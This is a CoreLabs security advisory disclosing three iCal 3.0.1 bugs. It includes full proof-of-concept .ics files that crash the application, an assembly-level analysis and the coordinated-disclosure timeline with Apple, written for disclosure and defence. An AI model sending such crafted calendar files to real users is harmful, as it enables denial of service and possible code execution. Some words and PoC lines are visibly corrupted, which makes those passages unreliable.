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Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Multiple vulnerabilities in iCal
*Advisory Information*
Title: Multiple vulnerabilities in iCal
Advisory ID: CORE-2008-0126
Advisory URL: http://www.coresecurity.com/?action=item&id=2219
Date published: 2008-05-21
Date of last update: 2008-05-21
Vendors contacted: Apple Inc.
Release mode: Coordinated release
*Vulnerability Information*
Class: Input Validation
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
Bugtraq ID: 28629 28632 28633
CVE Name: CVE-2008-1035 CVE-2008-2006 CVE-2008-2007
*Vulnerability Description*
iCal is a personal calendar application from Apple Inc. included on the
Mac OS X operating system. The calendar application can be used as a
stand-alone application or as a client-side component to calendar server
that lets users create and share multiple calendars and subscribe to
other user's calendars. Apple's iCal uses the iCalendar standard for its
calendar file format (which uses the '.ics' filename extension) [1] and
the CalDAV protocol for calendar sharing [2]. There is a growing number
of web sites providing calendars files and open subscription to calendar
updates [3][4][5].
Three vulnerabilities discovered in the iCal application may allow
un-authenticated attackers to execute arbitrary code on vulnerable
systems with (and potentially without) the assistance from the end user
of the application or to repeatean resource liberationdly execute a
denial of service attack to crash the iCal application.
The most serious of the three vulnerabilities is due to potential
memory corruption resulting from a resource liberation bug that can be
triggered with a malformed '.ics' calendar file specially crafted by a
would-be attacker.
The other two vulnerabilities lead to abnormal termination (crash) of
the iCal application due to null-pointer dereference bugs triggered
while parsing a malformed '.ics' files. The ability to inject and
execute arbitrary code on vulnerable systems using these two
vulnerabilities was researched but not proven possible.
Exploitation of these vulnerabilities in a client-side attack scenario
is possible with user assistance by opening or clicking on specially
crafted '.ics' file send over email or hosted on a malicious web server;
or without direct user assistance if a would-be attacker has the ability
to legitimately add or modify calendar files on a CalDAV server.
*Vulnerable Packages*
.. iCal version 3.0.1 on MacOS X 10.5.1 (Leopard).
*Non-vulnerable Packages*
.. Available through Apple security updates (see vendor information below).
*Vendor Information, Solutions and Workarounds*
The following information was provided by the vendor:
Availability
Apple security updates are available via the Software Update mechanism:
http://support.apple.com/kb/HT1338
Apple security updates are also available for manual download via:
http://www.apple.com/support/downloads/
Cross-References
If you provide cross-referencing information in your advisory please
link to the following URL: http://support.apple.com/kb/HT1222
*Credits*
These vulnerabilities were discovered and researched by Rodrigo
Carvalho, from the Core Security Consulting Services (SCS) team of Core
Security Technologies during Bugweek 2007. Additional research was done
by Ricardo Narvaja from CORE IMPACT the Exploit Writers Team (EWT).
*Technical Description / Proof of Concept Code*
Three vulnerabilities discovered in the iCal application may allow
un-authenticated attackers to execute arbitrary code on vulnerable
systems with (and potentially without) the assistance from the end user
of the application or to repeateadly execute a denial of service attack
to crash the iCal application.
A client-side attack directed to the end-users of the iCal application
can be executed by sending an email with a malicious .ics file
attachment, by hosting a malicious .ics file on web site and directing
users to open it or by injecting a malicous .ics file on a CalDAV
enabled server to which potential victims are subscribed to update their
calendars automatically. In the three reported cases the vulnerabilities
arise from improper validation of input while or after parsing of the
calendar file format.
1) Null pointer de-reference #1 (Bugtraq ID 28629, CVE-2008-2006)
Improper sanitization of integer input may lead to null pointer
dereference and possibly to an application that loses control of its
execution, resulting in a denial of service.
A vulnerable .ics file will contain the following line:
/-----------
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
- -----------/
The 'COUNT' value causes an integer overflow, which leads to a null
pointer dereference when iCal tries to use it after the .ics file is
imported.
The following Proof of Concept (PoC) file is provided to demonstrate
its feasibility, to trigger the bug import a .ics file with the
following content and then select one of the created events.
/-----------
BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGINAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDAR
- -----------/
Analysis of the vulnerability
The above proof-of-concept file creates new events in the iCal
application . When a user double-clicks on these events the program
crashes writing in the memory pointed by pointer 'EDI=0'. Only the value
of 'EAX' is under control, must be less than '0x7fffffff' and is
extracted from the following line of the PoC '.ics' file.
/-----------
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646 (0x7FFFFFFE)
- -----------/
/-----------
__text:0013C178 push ebp
__text:0013C179 mov ebp, esp
__text:0013C17B sub esp, 38h
__text:0013C17E mov eax, dsff_1F435C
__text:0013C183 mov [ebp+var_4], edi
__text:0013C186 mov edi, [ebp+arg_C]
__text:0013C189 mov [ebp+var_8], esi
__text:0013C18C mov esi, [ebp+arg_8]
__text:0013C18F mov [ebp+var_C], ebx
__text:0013C192 mov [esp+38h+var_34], eax
__text:0013C196 mov eax, [ebp+arg_0]
__text:0013C199 mov [esp+38h+var_28], 0
__text:0013C1A1 mov [esp+38h+var_2C], 0
- -----------/
Here is written on '[ebp + var28]' and '[ebp + var2C]' and because
'EBP' is 'ESP' minus '0x38', this is similar to
/-----------
[ebp + var28] = [esp+0x38+var_28]
[ebp + var2C] = [esp+0x38+var_2C]
- -----------/
There are located the null-pointers on the stack.
/-----------
BFFFEF7C var_2C dd 0
BFFFEF80 var_28 dd 0
- -----------/
Upon reaching the function where the crash occurs.
/-----------
__text:0014ADC3 push ebp
__text:0014ADC4 mov ebp, esp
__text:0014ADC6 sub esp, 48h
__text:0014ADC9 mov eax, ds:stru_1FA2A0.superclass
- -----------/
Logically the zeros are still present because don't work with those
values until we enter.
/-----------
BFFFEF7C arg_C dd 0
BFFFEF80 arg_10 dd 0
- -----------/
We see that the function argument 'arg_C' is loaded and moved to 'EDI'.
/-----------
0014ADE0 mov edi, [ebp+arg_C]
- -----------/
And this is the location where is written at the moment of crashing
further ahead, meaning that it is a zero that can't be changed.
/-----------
0014AE2F mov dword ptr [edi], 0
- -----------/
When getting closer to the point of crash because we control 'EAX' and
we can trigger a jump after comparing with '[ebx+0Ch]' and '[ebx+08h]'.
/-----------
0014AE20 cmp eax, [ebx+0Ch] (if it is lower than 1)
0014AE23 jl short loc_14AE2F
0014AE25 cmp eax, [ebx+8] (if it is lower than 0x270F)
0014AE2D jle short loc_14AE37
169280B8 dd 270Fh (ebx+08)
169280BC dd 1 (ebx+0C)
- -----------/
The first comparison for 'JL' doesn't avoid the crash zone, but anyway
negative numbers can't be inserted by default and a zero value does not
crash the program or even gets it near the critical zone. Any other
value crashes the application when writing in the null location.
In the other case a comparison is made such that if 'EAX' is less than
'0x270f' the crash zone is avoided and the program continues to work
without problem. Negative values are not read and if a value greater
than '0x7fffffff' the maximum value is used instead.
2) Null pointer dereference #2 (Bugtraq ID 28632, CVE-2008-2006)
A vulnerable .ics file will contain the following line:
/-----------
TRIGGER:-PT65535H
- -----------/
The 'TRIGGER' value causes a null pointer dereference when iCal tries
to use it after the .ics file is imported.
The corresponding PoC follows. to trigger the bug import a .ics file
with the following content then click on the 65535 on edit mode and
accept it without changes.
/-----------
BEGIN:VCALENDAR
X-WR-CALNAME:Fake event
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
VERSION:2.0
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:10
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T124414Z
SUMMARY:Fake Event
DTEND;TZID=America/Buenos_Aires:20071225T010000
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
TRANSPPAQUE
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION
DESCRIPTION:Event reminder
TRIGGER:-PT65535H
END:VALARM
END:VEVENT
END:VCALENDAR
- -----------/
3) Improper resource liberation (Bugtraq ID 28633, CVE-2008-2007)
This is another case of bad validation of a file with the iCalendar
format that results in a more serious bug.
A vulnerable .ics file will contain the following line:
/-----------
ATTACH;VALUE=URI:S=osumi
- -----------/
The corresponding PoC follows. Double-click on the .ics file with the
following content, an event will be created. To crash iCal click on the
newly created event and the on the alarm sound list.
/-----------
BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME:evento falso
VERSION:2.0
X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:11
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T143420Z
SUMMARY:evento falso
DTEND;TZID=America/Buenos_Aires:20071225T010000
LOCATION:donde se hace
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
TRANSP
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
URL;VALUE=URI:http://pepe.com:443/pepe
ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2
0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php
CREATED:20071213T142720Z
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION
DESCRIPTION:Event reminder
TRIGGER:-PT15H
END:VALARM
BEGIN:VALARM
X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0
ACTION:AUDIO
TRIGGER:-PT15M
ATTACH;VALUE=URI:S=osumi
END:VALARM
END:VEVENT
END:VCALENDAR
- -----------/
*Report Timeline*
.. 2008-01-30:
Core sends an initial notification that vulnerabilities were
discovered in the iCal application and iCal server and that an advisory
draft is available.
.. 2008-01-31:
Vendor acknowledges and requests the draft.
.. 2008-01-31:
Core sends the draft, including proof-of-concept files that trigger
the bugs.
.. 2008-02-12:
Core requests update info on the vulnerabilities and states that
wants to coordinate the date of the disclosure.
.. 2008-02-18:
Core requests update info on the vulnerabilities.
.. 2008-02-18:
Vendor replies that the iCal Server (CVE-2008-1000) vulnerability is
tracked for a fix in an upcoming update and the vulnerabilities in the
iCal client application will be fixed in an update following the early
March software update.
.. 2008-02-19:
Core indicated that it will split the report in two security advisories.
CORE-2008-0123 will address the vulnerability in iCal server
(CVE-2008-1000) and will be published in coordination with the release
of the vendor's March software update. The publication date for the
second advisory, will dealt bydealing with the three vulnerabilities in
the iCal client application will be coordinated for a date after the
March update unless there are clear indications of the vulnerability
being exploited in the wild, in which case if Core considers that the
information provided in the advisory would help end users to decide how
to react the advisory would be published sooner as a "forced release".
.. 2008-03-03:
Core requests update info on the vulnerability, a concrete release
schedule and text for the advisory section called "Vendor Information,
Solutions and Workarounds".
.. 2008-03-04:
Vendor provides information concerning CVE-2008-1000 and indicates
that the bug is in the Wiki server and not the iCal Server.
.. 2008-03-13:
Core re-schedules the publication to March 24th and requests the vendor
an update on the coordinated date of disclosure. The remaining three
vulnerabilities in the iCal client application will be dealt by a second
security advisory (CORE-2008-0126) to be published after the release of
the March software update. Publication of CORE-2008-0126 is initially
slated for March 24th 2008 but the final date estimation can be
discussed further with the vendor based on its estimated date for fixes.
.. 2008-03-18:
APPLE-SA-2008-0318 software update released.
.. 2008-03-18:
CORE-2008-0123 is published.
.. 2008-03-18:
Vendor informs that will track the first two issues as crasher-only
bugs but still intends to address them. Further details to determine if
the null pointer de-reference bugs are exploitable are requested. The
vendor will continue to track the third as a security bug and estimates
early April for the release of the software update that fix them.
Additional timing information will be provided closer to the estimated date.
.. 2008-03-18:
Core re-schedules the publication to April 7th and indicates that
should any new details about the vulnerabilities become available they
will be forwarded to the vendor.
.. 2008-04-04:
Core requests a more precise date of release of the fixes to coordinate
the publication and recommends the vendor to consider the three as
security bugs because it couldn't be proved that in this case the
integer overflows can't be exploited.
.. 2008-04-07:
Vendor requests that Core to postpone the advisory publication until
the fix is available.
.. 2008-04-07:
Core requests a more precise date of release of the fixes to coordinate
the new publication date.
.. 2008-04-07:
Vendor informs that the estimated date for the update is near the end
of April.
.. 2008-04-08:
Core confirms that coordinating the publication of CORE-2008-0126 for
April 28th is acceptable.
.. 2008-04-16:
Core requests an update on the release date of the fixes.
.. 2008-04-17: Vendor states that end of April is still the estimated
date and provides more details that explain why the first two bugs are
been considered null-pointer dereference bugs only. A value range
verification is performed and out-of-range values branch execution flow
to instructions that assign NULL to a pointer which later triggers a
null pointer de-reference that causes the application to crash. the root
cause of the crash is a NULL pointer de-reference and not an integer
overflow.
.. 2008-04-17:
Core confirms that the two first bugs can be considered crashes due to
null-pointer dereference. Upon further research it is confirmed that
integer overflows are detected and do not cause the actual crashes.
.. 2008-04-17:
Vendor asks confirmation that the first two bugs have no security
related consequences.
.. 2008-04-17:
Core responds that the three bugs still have security related
consequences. The first two bugs can be abuse to execute denial of
service attacks by untrusted and unauthenticated third parties
specifically using public server as attack vector. Core considers bug
that allow unauthenticated third parties to be security vulnerabilities.
Core indicates that exploitation of null pointer de-reference bugs
cannot be ruled out generically, a statement which could be derived from
Rice's theorem.
.. 2008-04-25: Core requests an update on the release date of the fixes
and sends detailed information on the analysis of the first bug.
.. 2008-04-27: Vendor estimates early May as the date of the software
fixes release.
.. 2008-05-05: Core informs the vendor that it's re-scheduling the
publication to May 12th as a final date unless precise information is
given on the release date of the fixes.
.. 2008-05-06: Vendor responds precising that the fixes are being
released sometime the following week.
.. 2008-05-07: Core states that it is not willing to re-schedule
publication date unless the vendor commits to a concrete date.
.. 2008-05-10: Vendor asks Core not to publish the advisory before Apple
security update is available. Vendor indicates that fixes will be
released on May 19th, 2008.
.. 2008-05-10: Given that the vendor has communicated a concrete date,
Core will discuss re-scheduling (for the fifth time) the publication
date of the advisory.
.. 2008-05-12: Core communicates the vendor that the publication of the
advisory is re-scheduled to May 21th, that date is final.
.. 2008-05-14: Vendor acknowledges reception of the last email and
appreciates that Core posponed the advisory publication date.
.. 2008-05-20: Core send the final draft of the advisory to the vendor.
.. 2008-05-21:
An edited and corrected final version of the advisory is sent to the
vendor.
.. 2008-05-21: Advisory CORE-2008-0126 is published.
*References*
[1]
RFC 2445: Internet Calendaring and Scheduling Core Object
Specification (iCalendar) - http://tools.ietf.org/html/rfc2445
[2] RFC 4791: Calendaring Extensions to WebDAV -
http://tools.ietf.org/html/rfc4791
[3] http://www.apple.com/downloads/macosx/calendars/
[4] iCalShare http://icalshare.com/
[5] iCalWorld http://www.icalworld.com/
*About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.
*About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
*Disclaimer*
The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
*GPG/PGP Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/at...advisories.asc.
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